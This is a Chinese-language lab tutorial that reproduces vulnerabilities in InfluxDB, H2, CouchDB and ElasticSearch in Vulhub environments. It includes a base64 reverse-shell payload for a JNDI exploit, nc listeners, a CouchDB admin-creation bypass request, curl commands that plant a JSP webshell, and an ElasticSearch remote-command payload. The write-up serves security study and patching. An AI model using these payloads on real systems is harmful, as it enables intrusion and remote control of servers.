数据库安全-H2database&Elasticsearch&CouchDB&Influxdb 复现
字数 1345 2025-08-10 10:14:26

数据库安全漏洞复现教学文档

1. InfluxDB 未授权访问漏洞 (CVE-2019-20933)

漏洞描述

InfluxDB 是一款著名的时序数据库,使用 JWT 作为鉴权方式。当用户开启了认证但未设置参数 shared-secret 时,JWT 的认证密钥为空字符串,攻击者可以伪造任意用户身份执行 SQL 语句。

复现步骤

  1. 环境搭建:使用 Vulhub 靶场环境
  2. 端口扫描
    • 8086:客户端和服务端交互的 HTTP API
    • 8088:用于提供备份和恢复的 RPC 服务
  3. 漏洞利用
    • 使用 jwt.io 生成 JWT Token(密钥为空字符串)
    • 抓取数据包,添加伪造的 JWT Token 发送请求
  4. 效果验证
    • 成功执行 SQL 查询
    • 可执行其他 SQL 语句如查询数据库等

2. H2 Database 未授权访问漏洞

漏洞描述

H2 database 是一款 Java 内存数据库,多用于单元测试。当配置了以下选项时,允许外部用户访问 Web 管理页面且无鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

复现步骤

  1. 环境搭建:使用 Vulhub 靶场环境
  2. 访问管理界面:默认端口 20051
  3. 漏洞利用
    • 使用 JNDI 注入攻击执行任意命令
    • 工具:JNDI-Injection-Exploit
  4. 反弹 Shell
    # 攻击者监听
    nc -lvvp 6666
    
    # 生成 payload
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP
    
  5. 指定驱动类javax.naming.InitialContext

3. CouchDB 权限绕过配合 RCE

3.1 垂直权限绕过 (CVE-2017-12635)

漏洞描述

Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库。存在权限绕过漏洞,可以创建管理员用户。

复现步骤

  1. 环境搭建:使用 Vulhub 靶场环境

  2. 正常创建用户失败

    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: target:5984
    Content-Type: application/json
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "password": "vulhub"
    }
    
    • 返回 403 错误:Only _admin may set roles
  3. 绕过方法:发送包含重复 roles 的请求

    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "roles": [],
      "password": "vulhub"
    }
    

3.2 任意命令执行 RCE (CVE-2017-12636)

复现步骤

  1. 使用 Python 脚本执行攻击

    # 脚本内容见原文
    # 主要步骤:
    # 1. 创建管理员用户
    # 2. 配置命令执行
    # 3. 触发命令执行
    
  2. 反弹 Shell

    # 攻击者监听
    nc -lvvp 443
    

4. ElasticSearch 漏洞

4.1 文件写入漏洞

漏洞描述

利用 ElasticSearch 可以在服务器上写入任意文件,包括 WebShell。

复现步骤

  1. 环境信息

    • Tomcat 目录:/usr/local/tomcat
    • Web 目录:/usr/local/tomcat/webapps
    • ElasticSearch 目录:/usr/share/elasticsearch
  2. 攻击步骤

    # 创建恶意索引文档
    curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes(test"}''
    
    # 创建恶意存储库
    curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
      "type": "fs",
      "settings": {
        "location": "/usr/local/tomcat/webapps/wwwroot/",
        "compress": false
      }
    }'
    
    # 存储库验证并创建
    curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
      "indices": "yz.jsp",
      "ignore_unavailable": "true",
      "include_global_state": false
    }'
    
  3. 访问 WebShell

    http://靶机IP:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp
    

4.2 命令执行漏洞 (CVE-2014-3120)

复现步骤

  1. 创建测试数据

    POST /website/blog/ HTTP/1.1
    Host: target:9200
    Content-Type: application/json
    
    {
      "name": "phithon"
    }
    
  2. 执行任意命令

    POST /_search?pretty HTTP/1.1
    Host: target:9200
    Content-Type: application/json
    
    {
      "size": 1,
      "query": {
        "filtered": {
          "query": {
            "match_all": {}
          }
        }
      },
      "script_fields": {
        "command": {
          "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
      }
    }
    
  3. 效果验证:响应包中包含命令执行结果

总结

本文档详细介绍了四种数据库的安全漏洞及其复现方法:

  1. InfluxDB JWT 认证绕过
  2. H2 Database 未授权访问导致 RCE
  3. CouchDB 权限绕过配合 RCE
  4. ElasticSearch 文件写入和命令执行漏洞

每种漏洞都提供了详细的复现步骤和验证方法,可用于安全研究和漏洞防护参考。在实际环境中,应及时更新这些数据库到最新版本,并按照安全最佳实践进行配置。

数据库安全漏洞复现教学文档 1. InfluxDB 未授权访问漏洞 (CVE-2019-20933) 漏洞描述 InfluxDB 是一款著名的时序数据库,使用 JWT 作为鉴权方式。当用户开启了认证但未设置参数 shared-secret 时,JWT 的认证密钥为空字符串,攻击者可以伪造任意用户身份执行 SQL 语句。 复现步骤 环境搭建 :使用 Vulhub 靶场环境 端口扫描 : 8086:客户端和服务端交互的 HTTP API 8088:用于提供备份和恢复的 RPC 服务 漏洞利用 : 使用 jwt.io 生成 JWT Token(密钥为空字符串) 抓取数据包,添加伪造的 JWT Token 发送请求 效果验证 : 成功执行 SQL 查询 可执行其他 SQL 语句如查询数据库等 2. H2 Database 未授权访问漏洞 漏洞描述 H2 database 是一款 Java 内存数据库,多用于单元测试。当配置了以下选项时,允许外部用户访问 Web 管理页面且无鉴权: 复现步骤 环境搭建 :使用 Vulhub 靶场环境 访问管理界面 :默认端口 20051 漏洞利用 : 使用 JNDI 注入攻击执行任意命令 工具:JNDI-Injection-Exploit 反弹 Shell : 指定驱动类 : javax.naming.InitialContext 3. CouchDB 权限绕过配合 RCE 3.1 垂直权限绕过 (CVE-2017-12635) 漏洞描述 Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库。存在权限绕过漏洞,可以创建管理员用户。 复现步骤 环境搭建 :使用 Vulhub 靶场环境 正常创建用户失败 : 返回 403 错误: Only _admin may set roles 绕过方法 :发送包含重复 roles 的请求 3.2 任意命令执行 RCE (CVE-2017-12636) 复现步骤 使用 Python 脚本执行攻击 : 反弹 Shell : 4. ElasticSearch 漏洞 4.1 文件写入漏洞 漏洞描述 利用 ElasticSearch 可以在服务器上写入任意文件,包括 WebShell。 复现步骤 环境信息 : Tomcat 目录: /usr/local/tomcat Web 目录: /usr/local/tomcat/webapps ElasticSearch 目录: /usr/share/elasticsearch 攻击步骤 : 访问 WebShell : 4.2 命令执行漏洞 (CVE-2014-3120) 复现步骤 创建测试数据 : 执行任意命令 : 效果验证 :响应包中包含命令执行结果 总结 本文档详细介绍了四种数据库的安全漏洞及其复现方法: InfluxDB JWT 认证绕过 H2 Database 未授权访问导致 RCE CouchDB 权限绕过配合 RCE ElasticSearch 文件写入和命令执行漏洞 每种漏洞都提供了详细的复现步骤和验证方法,可用于安全研究和漏洞防护参考。在实际环境中,应及时更新这些数据库到最新版本,并按照安全最佳实践进行配置。